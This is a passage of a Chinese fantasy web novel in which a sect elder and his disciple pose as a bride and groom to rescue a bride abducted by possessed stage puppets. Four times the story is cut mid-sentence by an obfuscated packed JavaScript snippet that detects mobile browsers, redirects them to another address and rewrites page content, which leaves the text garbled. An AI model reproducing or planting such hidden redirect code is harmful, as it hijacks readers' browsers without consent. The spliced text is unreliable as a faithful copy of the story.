沈轻随简单扫了一眼,极其自然地坐上了上首主位,把腿一翘,有心考考谢负尘,笑道:“能看出为什么晕倒吗?” 不知是不是他的错觉,谢负尘的眼睛好像亮了一瞬,道:“除了李家主之外,其余人身上并无伤痕,只是单纯惊吓过度,所以晕厥。李家主倒在近门之东,脖颈左侧有一处新鲜的瘀伤,似是切掌所致,伤人者掌硬力大,伤处却不足以致命。房中无灵气,无怨气,来者是凡物。金银无失,不为财,伤人而不杀人,不为仇。” 沈轻随挑眉:“哦?那是为了什么,专程演一出戏给我们看看吗?那这待遇也太好了点。” 谢负尘正在思索,却听李小猪崽叽里咕噜叫了起来:“你们快点把害死我爹的凶手抓出来,不然我要你们的脑袋!对了,我娘呢?娘!娘!傻大个别包了,还不快去找我娘!” 风天阳正在帮他包扎伤口,冷不丁被他手一挥打中下巴,咬到了舌尖。可怜他本来嘴就笨,现在更是成了个话都说不出来的大舌头,憋得脸都红了。 沈轻随一把揪住他的猪耳朵,笑道:“第一,你爹没死,等他醒了你可以自己问他凶手是谁。第二,我们不是你家护卫,没有义务帮你抓坏人。第三,你要不了我们的脑袋,但外面那个姐姐随时可以要了你的脑袋。最后,傻大个骂谁?” 李小猪崽被他直勾勾地盯着,吓得牙齿打颤:“没、没骂……” 没一会儿,几个弟子带着一男一女进来了,禀道:“怀微君,我们探查过了,基本和这里情况差不多,人都只是昏倒,没有伤亡。这二位是李夫人和李大少爷。” 也就是那个骑在马上的红枣馒头了。 李大 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15266333|166588||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 馒头刚睁开眼睛就叫唤起来:“莺儿!莺儿!” 沈轻随嘿道:“婴儿?不是还没洞房吗?” 李夫人醒得比他早,正抱着小儿子流眼泪,闻言解释道:“莺儿是我们刚过门的媳妇,才拜完堂送进房里没一会儿,她就……就被那奸人掳走了!” 还有这等事? 沈轻随立马脑补出一场横刀夺爱的大戏:新娘年轻貌美,却被凶恶的财主强抢过门,她青梅竹马的爱人就策马奔来大闹洞房,在众目睽睽之下把人给抬走了!他激动道:“奸人是谁?” 李大馒头痛哭道:“是一个穿丧服的怪物!走路咚咚的,一张血盆大口,还在笑!是鬼,娘,它是鬼啊!莺儿定是被阎王爷讨去了!” 阎王爷肯定是没有的,因为《绝世修仙传》的世界观里不存在这个。但是穿丧服的怪物?沈轻随忽然感觉有些熟悉,再一思索,心叫不好。 戏台上那些白面人偶穿的惨白色宽袍大袖,晚上看着可不就是丧服吗! 突然传来几声惊叫,宋湖哒哒哒跑了进来:“戏台出事了!” 沈轻随夺门而出。 只见院中灯火全灭,笼罩在一片黑暗之中,唯有戏台上闪着刺眼的亮光。上面好像被人凭空架起了一张透光的幕布,布上绘着金光流转的花纹,牵丝傀儡戏摇身一变,成了另一个著名戏种皮影戏。 这纹路沈轻随再熟悉不过了,是他的老本行,阵法。 一个传送阵和迷魂阵的结合体! 戏中多了一个陌生的面孔,凤冠高髻,赤红喜帕,正是新嫁娘的装扮!她正被几个白面人偶搀着拖着,往红面人偶的喜床上奔去。 沈轻随一下子明白过来,先前红面人偶上场时,在床边找了半天没找到然后怒不可遏的东西是什么了。 大喜的床头,还能缺什么?新娘子呗。 真是要命,木头人居然也玩抢亲!想起之前人偶们面无表情地掏“蚂蚱”肚子的场景,沈轻随背后出了一身冷汗。它们或许下台后不曾伤人,但是对待台上的同类……却不好说! 人命关天,他收起了调笑的态度,沉声问道:“你们从哪里请来的戏班!” 李老爷醒过来后脑子一直是懵的,突然一个质问甩到脸上,又惊又怒:“我们从来没有请过这种戏!” 这时候一个弟子扶着一个皮帽小胡子走了过来,正是今夜戏班的班主。本来受邀来李府唱戏是一桩天大的好事,现在却成了天大的坏事,他二话不说扑到李老爷脚下,一把鼻涕一把泪道:“老爷明鉴,我可以对天发誓,这傀儡戏和影子戏绝对不是我们班里的!您就是给我一万个胆子,我也不敢呐!” 事实很显然了,有人在这里投了一出傀儡戏,掳走了今晚的新娘。 可目的是什么? 是新娘本身……还是别的什么? 沈轻随眉头紧紧,一个箭步上前抓住新郎官的领口:“新娘姓甚名谁,生辰八字,家住何处,有什么亲朋好友,全都给我一一说来!” 11. 上门娶亲 李大馒头伤心欲绝,眼泪啪嗒啪嗒打在沈轻随的手背上,哽咽着道出事情的始末。 原来新娘是个苦命人,自小被父亲卖到了烟花之地,无名无姓,只得青楼老鸨随口拟了个名叫做莺儿,生辰八字一概不知。活动范围就那一亩三分地,直到某天被前去喝花酒的李家少爷看中,这才赎了身,要嫁给他作媳妇。 李大少爷旧时缠绵病榻数载,长久避光而居,身体日渐浮肿,面目也变得狰狞起来,教人见之害怕。病好后性情大变,对下人动辄打骂,各方亲朋也都断了往来,唯独对莺儿这个青楼女子一见钟情,死活要娶进门来。 李家二老虽然觉得有辱门风,但到底盼着大儿子能有个后,几次争执不下,最后还是同意了。 今天,李大少爷刚把莺儿从花柳街大张旗鼓地给抬了回来,欢欢喜喜地拜堂成亲,没成想刚进洞房,就出了这种撞邪碰鬼的怪事,气得李老爷拿出家法,一边打一边骂道:“你个冤家!叫你非要娶那不干不净的女人,给家里招了祸了!我今天非要打死你不可!” 可能是悲伤过度,李大馒头快被棍子锤成年糕了都没哼一声,只是站在原地,愣愣地看着戏幕上的新娘人偶,迎风流泪:“莺儿……我命苦的莺儿!” 沈轻随看不过眼了,把手上的人往边上一掀,两根手指卡住砸下来的棍子,横眉道:“你这话也太刻薄了些!‘不干不净的女人’?那姑娘难道是自己想被卖进青楼的吗!” 他眼神凝重地扫过戏台,又在噤若寒蝉的众人脸上碾过一圈,怒道:“再说了,现在遭了祸的好像只有新娘一人吧?人家现在生死未卜,你们呢?是擦破了皮还是蹭掉了毛?不都好好在这待着呢吗!我还说是你们不干不净,她嫁到你家才是倒霉!” 沈轻随现在可是大大要巴结的对象,他话一出,李老爷顿时偃旗息鼓,可又拉不下脸给他赔不是,只能重重地哼了一声,给了李夫人一个眼神。 李夫人立刻上来拍马:“是是是,仙长所言极是,我家老爷也是气糊涂了,凡人家没什么见识,您千万要多担待一些!” 她正在这铺台阶呢,不料自家小儿子被宠得过了头,半点颜色看不来,人来疯似的举起手大喊:“我啊我啊!我的手上破了好大一块皮,现在还在流血呢!爹,娘,你们看呐!” 沈轻随:“……” 简直都有点后悔救他了。 一道冰蓝色的光闪过,宋湖的剑“欻”地抵在他高高扬起的手上,语气森然:“那就让你再流多一些好了。”旋即一剑劈下,“砰”的一声,一对猪蹄平安落地。 院中顿时响起杀猪一般的惨叫。 李家二老一时间看呆了,不敢相信这些仙人竟然会跟他们凡人动手,李夫人当即捧着小儿子缺斤少两的胳膊大喊起“命苦”来,李老爷则长袖一甩,怒道:“你们这是什么意思!我儿何辜,他才十三岁,根本就不懂事!” 沈轻随也被这一幕惊到了,他原本以为小丫头只是说说而已,没想到真会动手,这下回去肯定要被掌门师兄给批死了! “十三岁,不懂事?真是新鲜。”谢负尘在旁边无声无息站了半晌,闻言冷声道,“我十三岁的时候已经投军御灵,大名鼎鼎的曲氏杨柳鞭,我挨过数百次,手脚全都断过不止一回,令郎这又算得了什么?有时候,人就是要为自己的‘不懂事’而付出代价的。” 沈轻随本来都已经弯下腰,打算把那对猪蹄捡起来给小东西安回去了,听到谢负尘这么一说,顿时把这事忘到了九霄云外,满脑子都是他们当年在雪中初遇的情景。 御灵军这种地方,进来的都是皇家贵族的宝贝,往来交流看的不是对方这个人本身,而是其背后错综复杂的势力。 别看他们年纪不大,心眼子可一点都不少,从小在尔虞我诈的环境里长大,欺软怕硬扒高踩低玩得那叫一个信手拈来,谢负尘又是因为那种原因进去的,少不了被刻意打压。 他要是夹着尾巴些做人,好歹不会混得这么惨,待风头一过,大家也记不太起他这号人了。偏他生了个不知道拐弯的臭脾气,牙尖嘴利从不饶人,有仇当场就报,绝不隔夜。 那些身娇体贵的蠢货当然没有一个打得过他,一开始吃了不少这块硬骨头的亏,但他们上面还有曲柳罩着。 花湖洲钦点的御灵将军可不是绣花枕头一包草,那是有真材实料在的,一柄杨柳鞭威力极大,打在身上不见印子,却像钢针挫骨一样,直直痛到五脏六腑里去,十鞭下来,脊骨隔着肉被抽断的都有。 而谢负尘他,竟然挨了数百次。 沈轻随一下子心疼得不得了,几乎想把他揉进怀里好好疼上一疼,走过去将他手臂轻轻一揽,拍着背怨道:“以前怎么不说呢,万一留下后遗症怎么办?” 他既怨曲柳这厮趋炎附势不辨是非,又怨这傻孩子当时也不趁机告告状,好狠狠出口恶气,可怨来怨去还是只能怨自己,没事虐什么男主啊,兜兜转转还是虐回自己头上来了,直恨不得给自己来两巴掌。 谢负尘没想到随口的一番话竟然叫沈轻随给听进去了,人被怀微君的胸口紧紧贴着,平常只能远远闻到的清雪气息近在咫尺,手脚一僵,动也不敢动,满口伶牙俐齿都被他混着唾沫咽了,磕磕巴巴说不出话来:“我……也没什么好说的……” 李老爷看他们非但不给说法,还当场演起合家欢来了,气得胡子哆哆嗦嗦:“你!……好好好,你们是仙人,我儿肉体凡胎,哪有资格跟你们比!” “老爷!”李夫人凄厉地哭道,“就少说两句吧,你看孩儿这手可如何是好啊!” 沈轻随眉头一蹙,把怀里的人放开,转头问风天阳道:“你武妹妹那套金针带了没?” 风天阳摸摸胸口,点了点头。 “给人把手缝回去,小心点别留疤了。”沈轻随说完,无奈地看了一眼宋湖,“在这些方面别跟人计较太多,找到新娘才是要紧。” 余光又不自主地瞥向走到戏台那边去的谢负尘。 三年来,他身量又拔高了些,背永远挺得很直,披云山人手一套的弟子服穿在他身上总是格外好看,金光潋滟却绝无流俗之气,比起之前雪中寒梅的单薄模样来说,现在的他则更像是一朵含苞欲绽的赤金牡丹。 恍惚中,沈轻随忽然觉得他离自己越来越远了。 等到试训结束,把这孩子托付给宁玉缺之后,他就要走了。 从此一别两宽,谢负尘以这般姿态问鼎天下,坐拥江山万里美人无数,他就还是回去,坐在电脑前,努力给他写一个最好的结局……也不管那些傻逼读者怎么说了,先把前面写的低质量后宫删删掉,像他这种人,当然是要世间最好的女子来相配的。 这时,谢负 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15266334|166588||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 尘回过头来,向他道:“怀微君,戏文有异。” 沈轻随生生打了个激灵,从胡思乱想中清醒过来。 只见台上的喜床不知什么时候消失了,红面人偶和大红色的布景全都散去,台上变成了一开始灰蒙蒙的样子。木鱼声缓了下来,白面人偶们还是刚登场的阵型,随着鼓点分开、汇集、奔走、垂立,忙忙碌碌地寻找着什么似的。 跟之前一模一样的步骤…… 就像是重播一样。 一个想法倏然窜过脑海,沈轻随死死地盯着戏幕,果然,和原来一样的时间点,大红喜床出现,红面人偶再次被簇拥着上场了。 沈轻随本想直接走进阵法去找人,但细想到底不是上策。一来人偶们有嘴无舌,放不出半个屁来,又不能严刑拷打向它们逼供新娘的下落。二来这毕竟是个传送阵,天大地大哪都有可能传去,他和新娘去的不一定是同一个地方,万一进去了也找不到该怎么办? 眼下真乃是瞌睡了就有人送枕头,沈轻随当机立断,向李府众人道:“新娘的嫁衣还有没有多的?拿一件来,我今天也叫人抬一回亲去。” 李府奢靡阔绰,礼服自然备了不止一套,花色款式多种多样,就是尺寸上……有点勉强。衣服的原主人莺儿身材娇小,纤细的腰肢盈盈一握,嫁衣都是给她量身定做的,乍然间要贴一个男子的身,怎么穿怎么不方便。 沈轻随只能把自己的衣服脱了个干净,拼尽全力屏气收腹,这才堪堪套上了最松垮的一件外衫。 穿得不可谓不寒碜:腰带短了,花也歪了,皱皱巴巴不说,肉还东露一块西露一块的,看上去简直就是个心智有障的流氓。 除了实在勒得慌以外,沈轻随倒没太多想法,乐呵呵地任由喜娘往自己脸上扑粉点脂,末了戴上一顶沉甸甸的凤冠,盖上了大喜的帕子——沈轻随本来是拒绝的,理由很简单,那就是差不多得了,木头人到底没长眼睛,还真把他当新娘子弄啊? 但被谢负尘给驳了回来,理由同样很简单:“为保证万无一失,还是尽力复原当时的场景比较好,木偶虽无双目,但依然能分辨同样身穿喜服的新郎与新娘,个中关键说不定就在凤冠和喜帕。” 众人一听,全都点头赞同。 风天阳还不要命地道:“就是就是,怀微君您长得……呃,也不能说丑吧,但一看就是个男人,还是拿张帕子遮着点的好。” 这话可真是扎心,早说还是要遮面,他脸上就不扑粉了!少说三层,一瞪眼就呼啦呼啦往下掉,嘴上的胭脂更是腻得他吞口口水都难受。 宋湖抱着手臂靠在门边,面无表情地道:“以后我娶亲,也要叫男人穿成这样等我。” 风天阳震惊道:“这怎么行?哪有……” 宋湖一个眼刀飞来:“怎么不行?放心吧,看不上你。” 风天阳:“……行,行,您说了算。” 沈轻随被他们七嘴八舌吵得头疼,挥手赶人:“罗里吧嗦干什么呢,没事就可以滚了。” 谢负尘被安排在对面的屋顶上站着,既可以看到院里的戏台,又可以看到沈轻随所在的洞房。 没过多久,他就看见戏台上颤悠悠地扭出了一个白面白衣的木偶,慢慢地往这边走来。藏在袖中的手紧紧成拳,带着他自己都不易察觉的怒气,冷冷地道: “来了。” 12. 戏里花烛 熟悉怀微君的人都知道,此人向来是站不如松,坐不如钟,唯在“行如风,卧如弓”一道上造诣不浅,行事毛躁不说,沾床就睡的本领更是非凡。这会儿束了一身红装,压了一头翠饰,总算是安分了些许。 大红的喜帕被夜风撩动,金黄的流苏垂坠簌簌,他双脚并拢,两只手规规矩矩地搭在腿上,坐姿端正,温柔娴静,粗一看倒真有几分新嫁娘的模样。 谢负尘隐在檐上,看阵法中走出的白面人偶支拐着两条木腿,咚咚穿过抄手游廊,推开厢房大门,托起了沈轻随的手,扶他站起身来。 谢负尘眉心一跳。 在他心目中,“顺从”两个字是绝对不可能与怀微君联系在一起的,底下那个乖乖被牵着,让往哪走往哪走的人,真的是他吗? 有一瞬间,谢负尘几乎想冲过去撩开那张碍事的盖头,看看下面到底是不是长着一张沈轻随的脸。 但……是又如何?不是又如何? 他心里无端烧起一阵抓心挠肺的烦躁来,恨不得怀微君在自己面前也是这副模样,叫往东绝不往西,叫停下绝不多走一步,手脚往哪里放也得先看看他的脸色。 最好能像只刚被捡回来的猫,爪子卸得干干净净,平常就伏在案上小声叫唤——闹腾些也不妨事,但只要他哼一声,就会怕再被丢了似的往他怀里拱…… 谢负尘明白这是不可能的。 越是知道不可能,他就越是不愿意相信怀微君其实是可以有这副姿态的,只是不向他展露而已。这么想了一会儿,他竟凭空生出一腔说不清道不明的怒火,眉头皱得死紧,目送着人偶将沈轻随带入阵法之中。 “吱呀——”木门被推开的声音。 刚一进来,白面人偶就脱开沈轻随的手退了出去,还贴心地带上了门。 沈轻随一把将碍事的盖头掀了,连同压得他头皮难受的凤冠一起丢到了角落。刚才来的这一路上他都想通了,这些木头是个新娘就接,不单是冲着莺儿去的,又不可能每个女子都有钱购置这么华贵的妆仪,就当他嫁了个穷鬼好了,还戴这劳什子作甚! 都怪谢负尘出的馊主意。 环顾四周,沈轻随发现自己正处在一个颇具典雅气息的卧房之中,架子床、梳妆台、贵妃榻、屏风、壁柜、桌椅等一应俱全,大门正对的地方还摆了一个气势很足的供台,供的是一尊披花戴果的菩萨。 可不是观音那种大慈大悲式的,眼前这尊菩萨生得俊眼修眉,朱唇贝齿,轻薄的衣衫半遮半掩,露出晶莹如雪的肌肤,端的是一派风流袅娜。 若不是旁边一副对联言明其身份,沈轻随定会觉得这是哪家公子雅兴非常,给欢好的姑娘塑了个像放在案头日日赏玩,死也不会想到这居然是一尊正经受人供奉的菩萨。 恕他见识短浅,印象里的佛啊仙的都是禁欲系,没见过哪个是主淫的。 床上坐着一个红面红衣的人偶,觉察到新娘已至,慢慢地走过来,向沈轻随伸出了手。若不是长得实在诡异,它这副姿态或许还能称得上一句绅士。 红面人偶对于他又掀盖头又扯头发的动作并没有什么奇怪的反应,看来确实是个瞎子无疑。 沈轻随配合地把手一搭,心想自己一天竟当了两回“老佛爷”,暗自觉得好笑,乖顺地被红面人偶牵向供台。 在蒲团边停下,红面人偶拉着他转了个身,面朝大门,恭敬地跪下一拜。 沈轻随:“?” 还要拜天地?也太有仪式感了吧。 他站得比身边这条货真价实的木头还木头,硬邦邦地杵在原地,看着红面人偶严谨地完成了整套动作,然后拉他往床上走去。 沈轻随登时起了一身鸡皮疙瘩,照这个流程下去,岂不是还要洞房? ……木头人真的知道什么是洞房吗?这比太监进妓院还勉强吧! 沈轻随嘴角抽搐地被它领着,脑子里疯狂思索对策。根据他刚才的观察,戏台上的阵法确实是不简单——传送阵倒是没什么特别的,主要是其中的迷魂阵。 他现在所在的房间既可以说是一个幻境,也可以说不是,更像是一个幻境与现实的交界点,布置这个阵法的人技巧极好,功力也很深厚,把二者织得天衣无缝,连他都看不出什么破绽。 之前的戏文卡在新娘被带到房间这一节,再往后就没有了,没有活春宫,也没有交代新娘的去处,是以沈轻随也不知道他什么时候才会被带到上一个新娘去的地方,只能忍着恶心任这只红皮鬼在自己身上摸上摸下。 正跟一身欢快乱蹦的鸡皮疙瘩作斗争呢,红面人偶摸到他胸口,手蓦地僵住了,不可置信似的顿了一会儿,接着往他下半身小心翼翼探去。 沈轻随猛地往后一跳,一阵恶寒。 ……原谅他还是没有做好被一块木头非礼的准备。 红面人偶看上去比他还怒,双手高高举起,跳大神似的舞了两下,门外即刻响起连片的咚咚声,一群白面人偶推门而入。 它们用一种鬼才能看懂的独特方式交流了一番,然后沈轻随就被一左一右两个木偶架住,往门口拖去。 沈轻随心中一喜,红皮鬼这么生气都没想把他弄死,看来新娘遇险的概率也不大,这趟说不定是要把他跟新娘送到同一个地方去,那岂不是得来全不费工夫? 正美滋滋地想着收工,却不想刚被丢出大门,一大堆熟悉的面孔就围了上来。 谢负尘、风天阳、宋湖、一众弟子:“怀微君!” 李府众人:“莺儿呢?!” 沈轻随:“……” 他这算是被“完璧归赵”了吗? 沈轻随整了整已然稀碎的形象,咳了两声假装清清嗓子,这才把方才的所见所闻都说了一遍。 他道:“红脸的作为‘新郎’,是跟喜房一起出现的,但被掳走的新娘最后不在房中,应该是被白脸带出门去的,也就是说,我只要保证在房间的这段时间里不暴露身份,后面就会被白脸的带到跟莺儿一样的地方去了。” 谢负尘马上明白:“怀微君的意思是,我们可以找一个人去顶替掉红面人偶?” 沈轻随道:“没错。我看过了,传送阵没什么名堂,木偶们也不认人,只要掐准我和红脸怪独处的时候进来就行,趁它摇人前把它干掉……先试一下,不行的话再说。基本上是没问题的,这帮木头身上无怨无煞,所作所为也不像会杀人的样子,新娘应该还活着。” 听到这句,李大馒头提了一整夜的心终于坠到了肚子里,抓住沈轻随激动道:“仙长,您要是能把莺儿平安带回来,要我干什么都行!” 谢负尘拨开他的手,道:“李公子冷静,事关重大,我们自然会全力以赴。” 宋湖举起手:“我去。” 她不知从哪淘来一个红皮面具,已经戴在脸上了,凶恶的脸谱配上她娇小的体格,看上去格外滑稽。 沈轻随一口回绝:“不行!小姑娘家家在外面守着就可以了。” 就算他穿着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15266335|166588||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 女子嫁衣,那芯子也还是男人,怎么能跟小丫头一起干这种事?他自个儿老不正经臭不要脸就算了,传出去对宋湖也不太好。 可惜小丫头不明白他的良苦用心,闻言把面具往沈轻随怀里一摔,嘴一撅走了。 沈轻随手指往面具的眼睛洞里一戳,转得虎虎生风,眼神在谢负尘和风天阳身上各自留连一阵,笑眯眯地问道:“你们谁来?” “我。” “他!” 两个声音同时响起,沈轻随无语了。 风天阳挠头笑道:“怀微君,我还是有点……嘿嘿,害怕。您还是找谢师弟吧,他胆子大!” 沈轻随拎起面具往他身上砸去,冷笑道:“你怕个鬼!把新娘换成你武妹妹我看你去不去。是不是嫌我?啊?是不是,是不是?” 他说一下砸一下,风天阳被打得左支右绌,两腿一蹬跑了:“你们一路小心,我去帮宋湖了!” 说实在的,沈轻随其实是更希望风天阳来的。这孩子心思纯良,胆大心细,天赋虽然不是最佳,但胜在勤勉努力,是术阁里拔尖的苗子——当然不能跟谢负尘比。 可术阁——或者说整个披云山庄都是关不住谢负尘的,他迟早要奔更大的前程。 臧啸春“振兴术阁”的大旗扯了三年了,沈轻随又不是铁石心肠,不可能完全无动于衷,心知术阁长老的位子指望不上谢负尘,但肯定是要有人坐的,还是该早作打算,方不至于在紧要关头断了传承。 所以在他的盘算中,这次试训除了要把谢负尘送走以外,也要好好地培养下风天阳——可惜从上到下,包括风天阳自己,没有一个人明白他的忧虑,都一致认为谢负尘会是他的接班人,沈轻随也是无奈。 弟子们见宋师姐和风师兄都跑了,以为怀微君已经挑定了谢师弟,全都识相地走开了,转眼就剩下了他们两个人。 可能是被光映着的缘故,谢负尘一双眼睛亮得出奇,好像极力压抑着什么情绪似的。 沈轻随摸着下巴打量他片刻,心想:“不愧是最喜欢迎难而上的男主,干活都这么兴奋。”他举起面具问谢负尘:“你要戴吗?不戴也没事,反正都是些瞎——” “瞎子”俩字还没说完全,风天阳就一阵风似的回来了,手上还捧着一件红衣,看热闹不嫌事儿大地道:“谢师弟,刚才李大少爷听说你也要进去帮他找媳妇,差我把这个给你送来,还是新的呢,你快穿上试试看!” 沈轻随本想笑骂一句“你谢师弟才懒得陪你玩这种无聊的把戏”,却见谢负尘竟然红光满面地同意了,任由风天阳殷勤地把宽松的新郎装往他身上套,惊得下巴都差点掉下来。 他试图打打嘴仗挽回一点尊严:“风天阳,你知道你现在特别像一类人吗?” 风天阳:“啊?什么?” 沈轻随骂道:“伺候皇帝更衣的大内总管!出息!” 风天阳平常被骂得多了,半点不在意,嘿嘿一笑道:“瞧您这话说的,我是太监,您不就是贵妃了吗?也没好到哪儿去吧。” 沈轻随低头看了眼自己身上的衣服,心酸这货说的甚至不是“皇后”这个正宫,又看见谢负尘嘴角分明噙着一抹淡淡的笑容,愈发觉得这帮破孩子是要造反。 他为他们鞠躬尽瘁死而后已,他们呢?一天不打上房揭瓦! 转眼两人都收拾整齐,沈轻随照例是坐在房中,等着白面人偶来接。谢负尘则站在戏台边,算着怀微君进去的时间,后脚跟入阵法之中。 13. 古寺荒坟 甫一踏进阵里,就闻到一股扑面而来的陈腐阴气,谢负尘定睛一看,只见沈轻随正捏着那只红面人偶的下巴,笑嘻嘻地朝他招呼道:“快过来搭把手,这东西死沉死沉的。” 好巧不巧,红面人偶的两只木爪还卡在怀微君的腰间,挣扎中将他不合身的衣裳勒得更紧,腰线一览无余。 谢负尘铁青着脸,三两下把木偶的四肢拧断,当场做了个人彘。 “嚯,这个是实心的。”沈轻随利落地把木偶碎片踢进床底,拍了拍手上的灰,“行了,我们就在这儿等着吧,也不知道白脸怪们什么时候来。” 回头却见谢负尘正盯着供台上的菩萨像出神,问道:“你干什么呢?” 谢负尘不答反问:“怀微君,您认为这些人偶是为何要带走新娘?” 沈轻随想了一会儿:“可能就是演戏吧,谁知道!” 谢负尘摇摇头:“您说过,布阵者技艺卓绝,连您也看不出更多的破绽,若非刻意隐世,此人定是在修真界有名有姓的人物。” 他顿了顿,又道:“这座城不大,无论是风水还是人情,俱无特殊之处,李府虽为地方富户,但也并非独一无二。世间结亲者甚众,从不曾听谁家发生过类似的事情,为何头一遭偏偏就被我们撞见了?” 沈轻随反应过来:“你是说布这个阵法的人认识我们,故意演给我们看的?” 谢负尘指着墙上那副对联,道:“怀微君,您看。” 供台上香烛明灭,白瓷人像半边身子隐在阴影之中,肩上若有若无的披帛滑落,漏出白皙浑圆的臂膀,一双媚眼如丝勾魂,眼角红痣几乎要沁出血来。她身后书着两联大字: 情菩萨夜奔不救苦难;恶比丘思凡枉谈慈悲。 横批:佛本荒淫。 这对联沈轻随当然看过,不然也不会知道这尊女像是位“菩萨”,不过先前只是粗略一扫,不曾细究其中含义。 ——细究也究不出什么名堂,怀微君整个人拧三拧大抵只能挤出半滴墨水,看完脑子里仅剩了“荒淫”二字,对上谢负尘绝无半分杂念的坚定眼神,混混沌沌地脱口而出:“嗯,很香艳。” 谢负尘:“……” 或许是被他的文盲程度震惊到了,谢负尘默了一会儿才道:“上书菩萨与比丘,而傀儡戏出场时,周围响起的正是木鱼声。” “所以说这出戏的主角其实是和尚?”沈轻随恍然大悟,“怪不得一个个都没长头发!我还以为是偷工减料忘了装了。话说回来,和尚们吃饱了撑的给自己脑门上安个‘荒淫’?这好像不是什么好词儿吧。” 沈轻随心大如斯,完全没有追根究底的兴致,管他和尚还是道士,干他屁事? 他凭感觉倒步走着歪向喜床,正没骨头似的想往上一躺,岂料脚踝突然被什么东西一抓,整个人“咚”的一声摔在了地上。 扭头正对上一张红艳艳的笑面。 “我的妈呀!” 人彘竟然从床底下爬出来了!!! 沈轻随三魂瞬间丢了七魄,手胡乱在地上一撑,脚底掌心却都像抵到了根圆溜的木棍,非但没借着力,还被带着骨碌一滑,胳膊差点没折在这里。 原来他摸到的不是别的,正是木偶的一节手臂! 视觉加触觉的双重攻击,前一刻还气定神闲的怀微君登时吓得神魂俱灭,连滚带爬地缩到一边。 只听两声响亮的“噗咚”,谢负尘动作极快地把人偶的四根木肢钉在了它的头脸腹部,彻底送它含笑九泉。而与此同时,也听得“嘶啦”一声,沈轻随的外衣和中裤也成功地开了个大口子,猝不及防地归了西。 在弟子兼儿子面前怂出这副熊样,沈轻随厚了一万年的脸皮也忍不住发起烫来,啪地打掉谢负尘伸过来扶他的手,扒拉着身边的梳妆台站了起来。 谢负尘摸着刚被拍过的手心,道:“它可能是听到您说的‘和尚’二字,受了刺激,这才突然爬了出来。怀微君……您还好吗?” 他话里带着不明显的笑意,在眼下分外敏感的沈轻随听来就是赤裸裸的嘲笑,当即没好气地“哦”了一声,眼珠一转,把谢负尘一把扯过来,压在了红木妆台上。 妆奁被猛地一撞,梳篦胭脂叮叮咚咚响了一阵,谢负尘腰背卡在妆台的边缘,半边身子都贴着身后的铜镜,被怀微君用一种极其微妙的姿势环着,呼吸一窒:“这……” “嘘,别说话。”沈轻随拍拍他的脸,指腹轻轻擦过他的嘴角,笑道,“我给你打扮打扮。” 此人心眼蔫坏,自己丢了脸不好意思承认,就要想尽办法在别人身上讨回来,绝不肯吃一点亏。 谢负尘的眼珠颤了颤,近乎贪婪地嗅着怀微君身上的味道,悄悄伸出舌尖,舐了一下他手指蹭过的地方。 沈轻随一只脚踩在绣凳上,身后呼呼漏风也不影响他发挥,牛嚼牡丹地伸手在胭脂盒里一捞,沾了满手鲜艳芬芳。 他一边毫无章法地在谢负尘脸上拍打涂抹,誓要将他改头换面成个老道的媒婆,一边诚恳无比地道:“不是我捉弄你,就是突然觉得吧,你还是伪装得和红脸怪再像一点的好,那个面具忘了带了,涂点胭脂也是一样的。” 谢负尘的喉结动了动,似乎在隐忍着什么,突然道:“既然要像……还有一件事情没做。” 沈轻随十分享受在谢负尘脸上乱摸乱捏的感觉,除了幼稚的恶作剧心理以外,也得意于自己有叫人听话的本事,上下左右拍粉拍得不亦乐乎。他漫不经心道:“什么事?” 谢负尘道:“您说,它带您拜……” 沈轻随指尖往他谨慎翕动的唇上一按,生拉硬扯地逼他作出一个滑稽的鬼脸,笑道:“拜堂是吧?谢负尘啊谢负尘,你胆子是大了,敢调戏到我头上来了!” 忽然,门外传来一阵模糊的咚咚声。 白面人偶! 沈轻随飞快地将身下人一抄,两个人紧贴着齐齐滚到床上,中途还顺便把死透了的红脸怪踢到了一个隐蔽的角落。 刺耳的“吱呀”声响起,沈轻随抖开喜被把谢负尘闷头一罩,嘱咐道:“你就待在这里等我,不要乱跑,知道吗?” 谢负尘被他粗暴地裹了个严实,只漏出一个被妆点得红扑扑的脑袋,乖顺地点了点头:“知道。” 沈轻随没忍住揉了一把,又交代了一句:“要是我去得久了你就自己 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 